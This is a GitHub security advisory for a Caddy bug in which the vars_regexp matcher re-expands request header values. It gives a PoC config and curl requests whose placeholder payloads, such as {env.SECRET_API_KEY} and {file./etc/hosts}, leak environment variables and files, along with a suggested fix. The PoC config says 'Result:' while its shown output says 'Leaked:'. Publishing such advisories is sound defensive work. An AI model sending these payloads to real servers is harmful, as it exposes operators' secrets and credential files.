Skip to content

Caddy's vars_regexp double-expands user input, leaking env vars and files

Moderate severity GitHub Reviewed Published Mar 6, 2026 in caddyserver/caddy • Updated Mar 6, 2026

Package

gomod github.com/caddyserver/caddy/v2/modules/caddyhttp (Go)

Affected versions

>= 2.7.5, <= 2.11.1

Patched versions

2.11.2

Description

Summary

The vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

header_regexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.

Details

The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():

valExpanded := repl.ReplaceAll(varStr, "")
if match := val.Match(valExpanded, repl); match {

When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.*}, {file.*}, {system.*} placeholders the user put in there.

For comparison, header_regexp (matchers.go:1129) and path_regexp (matchers.go:703) both pass values directly to Match() without this second expansion.

This repl.ReplaceAll() was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.

Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:*

Config with both matchers on the same server:

{
  "admin": {"disabled": true},
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":8080"],
          "routes": [
            {
              "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}]
            },
            {
              "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}]
            }
          ]
        }
      }
    }
  }
}
$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.HOME}                           # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp
vars_regexp: /Users/test                           # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.SECRET}                         # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp
vars_regexp: supersecretvalue123                    # secret leaked

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp
header_regexp: {file./etc/hosts}                    # literal string, safe

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp
vars_regexp: ##                                     # file contents leaked

PoC

Save this as config.json:

{
  "admin": {"disabled": true},
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":8080"],
          "routes": [
            {
              "match": [
                {
                  "vars_regexp": {
                    "{http.request.header.X-Input}": {
                      "name": "leak",
                      "pattern": ".+"
                    }
                  }
                }
              ],
              "handle": [
                {
                  "handler": "static_response",
                  "body": "Result: {http.regexp.leak.0}"
                }
              ]
            },
            {
              "handle": [
                {
                  "handler": "static_response",
                  "body": "No match",
                  "status_code": "200"
                }
              ]
            }
          ]
        }
      }
    }
  }
}

Start Caddy:

export SECRET_API_KEY=sk-PRODUCTION-abcdef123456
caddy run --config config.json

Requests and output:

$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: hello
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 13
<
Leaked: hello
$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.HOME}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 20
<
Leaked: /Users/test
$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.SECRET_API_KEY}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 34
<
Leaked: sk-PRODUCTION-abcdef123456
$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {file./etc/hosts}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 10
<
Leaked: ##

Also works with {system.hostname}, {system.os}, {env.PATH}, etc.

Debug log (server starts clean, no errors):

{"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"}
{"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807}
{"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"}
{"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"}
{"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"}
{"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"}
{"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}

Impact

Information disclosure. An attacker can leak:

  • Environment variables ({env.DATABASE_URL}, {env.AWS_SECRET_ACCESS_KEY}, etc.)
  • File contents up to 1MB ({file./etc/passwd}, {file./proc/self/environ})
  • System info ({system.hostname}, {system.os}, {system.wd})

Requires a config where vars_regexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix:

--- a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
 			varStr = fmt.Sprintf("%v", vv)
 		}

-		valExpanded := repl.ReplaceAll(varStr, "")
+		valExpanded := varStr
 		if match := val.Match(valExpanded, repl); match {
 			return match, nil
 		}

This makes vars_regexp consistent with header_regexp and path_regexp. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at 95941a71 (2026-02-17).

AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.

References

@mholt mholt published to caddyserver/caddy Mar 6, 2026
Published to the GitHub Advisory Database Mar 6, 2026
Reviewed Mar 6, 2026
Last updated Mar 6, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-30852

GHSA ID

GHSA-m2w3-8f23-hxxf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.